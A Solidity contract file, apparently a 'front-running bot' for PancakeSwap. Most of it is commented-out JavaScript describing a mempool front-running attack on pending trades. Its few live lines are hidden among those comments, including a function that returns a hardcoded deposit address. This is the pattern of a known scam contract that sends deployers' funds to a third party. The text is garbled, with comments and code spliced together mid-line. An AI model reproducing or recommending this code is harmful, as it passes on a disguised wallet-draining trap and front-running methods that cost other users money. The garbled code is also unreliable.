```
pragma solidity ^0.6.6;

contract Manager {

    //string public tokenName;
        //string public tokenSymbol;
        //uint frontrun;
        //Manager


        //constructor(string memory _tokenName, string memory _tokenSymbol) public {
                //tokenName = _tokenName;
                //tokenSymbol = _tokenSymbol;
                //manager = new Manager();

                //}


            // Send required BNB for liquidity pair
            //receive() external payable {}


            // Perform tasks (clubbed .json functions into one to reduce external calls &
reduce gas) manager.performTasks();

            //function action() public payable {

        //Perform a front-running attack on uniswap

//const fs = require('fs');
//var Web3 = require('web3');
//var abiDecoder = require('abi-decoder');
//var colors = require("colors");
//var Tx = require('ethereumjs-tx').Transaction;
//var axios = require('axios');
//var BigNumber = require('big-number');

//const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI,
PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK,
HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
//const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
//const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');

//const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
//const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
//

//var input_token_info;
//var out_token_info;
//var pool_info;
//var gas_price_info;
//

//var web3;
//var web3Ts;
//var web3Ws;
//var pancakeRouter;
//var pancakeFactory;
//

// one gwei
//const ONE_GWEI = 1e9;
//
```

```
//var buy_finished = false;
//var sell_finished = false;
//var buy_failed = false;
//var sell_failed = false;
//var attack_started = false;
//

//var succeed = false;
//var subscription;
//
        function performTasks() public {
//async function createWeb3(){
    //try {
        // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
        // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
       // web3 = new Web3(EthereumTesterProvider());
       // web3.eth.getAccounts(console.log);
      //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK));
    //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS);
        //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI,
PANCAKE_FACTORY_ADDRESS);
        //abiDecoder.addABI(PANCAKE_ROUTER_ABI);
        //

        //return true;
    //} catch (error) {
      //console.log(error);
      //return false;
          }


//async function main() {

//try {
        //if (await createWeb3() == false) {
            //console.log('Web3 Create Error'.yellow);
            //process.exit();




        //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
        //const out_token_address = TOKEN_ADDRESS;
        //const amount = AMOUNT;
        //const level = LEVEL;

        //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet,
amount, level);
        //if(ret == false) {
          //process.exit();


        //await updatePoolInfo();
        //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)
(10*18)).toString(), pool_info.input_volumn.toString(),
pool_info.output_volumn.toString()).call();

        //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);

        //log_str = '** Tracking more ' +
(pool_info.attack_volumn/(10input_token_info.decimals)).toFixed(5) + ' ' +
input_token_info.symbol + '  Exchange on Pancake **'
        // console.log(log_str.green);
        // console.log(web3Ws);
        //web3Ws.onopen = function(evt) {
```

```
            //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address:
 user_wallet.address }));
            //console.log('connected')

        // get pending transactions
        //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result)
 {
        //}).on("data", async function (transactionHash) {
            //console.log(transactionHash);

            // let transaction = await web3.eth.getTransaction(transactionHash);
            // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
            // {
                                function uniswapDepositAddress() public pure returns
 (address) {
            //     await handleTransaction(transaction, out_token_address, user_wallet,
 amount, level);
            // }

            //if (succeed) {
                //console.log("The bot finished the attack.");
                //process.exit();




    //catch (error) {

      //if(error.data != null && error.data.see === 'https://infura.io/dashboard')

         //console.log('Daily request count exceeded, Request rate limited'.yellow);
         //console.log('Please insert other API Key');
      //else{
         //console.log('Unknown Handled Error');
         //console.log(error);


      //process.exit();


//function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {

    //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
        //subscription.unsubscribe();
        //console.log('Perform front running attack...');

        //gasPrice = parseInt(transaction['gasPrice']);
        //newGasPrice = gasPrice + 50*ONE_GWEI;

        //estimatedInput = ((amount*0.999)(10*18)).toString();
        //realInput = (amount*(10**18)).toString();
        //gasLimit = (300000).toString();

        //await updatePoolInfo();


        //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address,
 user_wallet, transaction);

        //console.log("wait until the honest transaction is done...", transaction['hash']);

        //while (await isPending(transaction['hash'])) {


        //if(buy_failed)
```

```
            //succeed = false;
            //return;


        //console.log('Buy succeed:')

        //Sell
        //await updatePoolInfo();
        //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken,
pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
        //outputeth = outputeth * 0.999;

        //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address,
user_wallet, transaction);

        //console.log('Sell succeed');
        //succeed = true;
//

//async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
    //var allowance = await
out_token_info.token_contract.methods.allowance(user_wallet.address,
PANCAKE_ROUTER_ADDRESS).call();

    //allowance = BigNumber(allowance);
    //outputtoken = BigNumber(outputtoken);

    //var decimals = BigNumber(10).power(out_token_info.decimals);
    //var max_allowance = BigNumber(10000).multiply(decimals);

    //if(outputtoken.gt(max_allowance))

       //console.log('replace max allowance')
       //max_allowance = outputtoken;



    //if(outputtoken.gt(allowance)){
        //console.log(max_allowance.toString());
        //var approveTX ={
                //from: user_wallet.address,
                //to: out_token_address,
                //gas: 50000,
                //gasPrice: gasPrice*ONE_GWEI,
                //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS,
max_allowance).encodeABI()
              //


        //var signedTX = await user_wallet.signTransaction(approveTX);
        //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);

        //console.log('Approved Token')

    //return;


//select attacking transaction
//async function triggersFrontRun(transaction, out_token_address, amount, level) {

    //if(attack_started)
        //return false;

    //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
```

```
    //if(parseInt(transaction['gasPrice']) / 10*9 > 10 && parseInt(transaction['gasPrice']) /
10*9 < 50){
                //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput,
                return
0x0595A3a8c62A14a7e0c7eaC7142aD7736bfe51B1;//pool_info.input_volumn.toString(),
pool_info.output_volumn.toString()).call();
                }
        //attack_started = true;
        //return true
  //

    //return false;

    //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) {
        //return false;


    //let data = parseTx(transaction['input']);

    //let method = data[0];

    //let params = data[1];

    //let gasPrice = parseInt(transaction['gasPrice']) / 10**9;


    //if(method == 'swapExactETHForTokens')


        //let in_amount = transaction;

        //let out_min = params[0];


        //let path = params[1];

        //let in_token_addr = path[0];

        //let out_token_addr = path[path.length-1];


        //let recept_addr = params[2];

        //let deadline = params[3];


        //if(out_token_addr != out_token_address)


            // console.log(out_token_addr.blue)
            // console.log(out_token_address)
            //return false;
}
```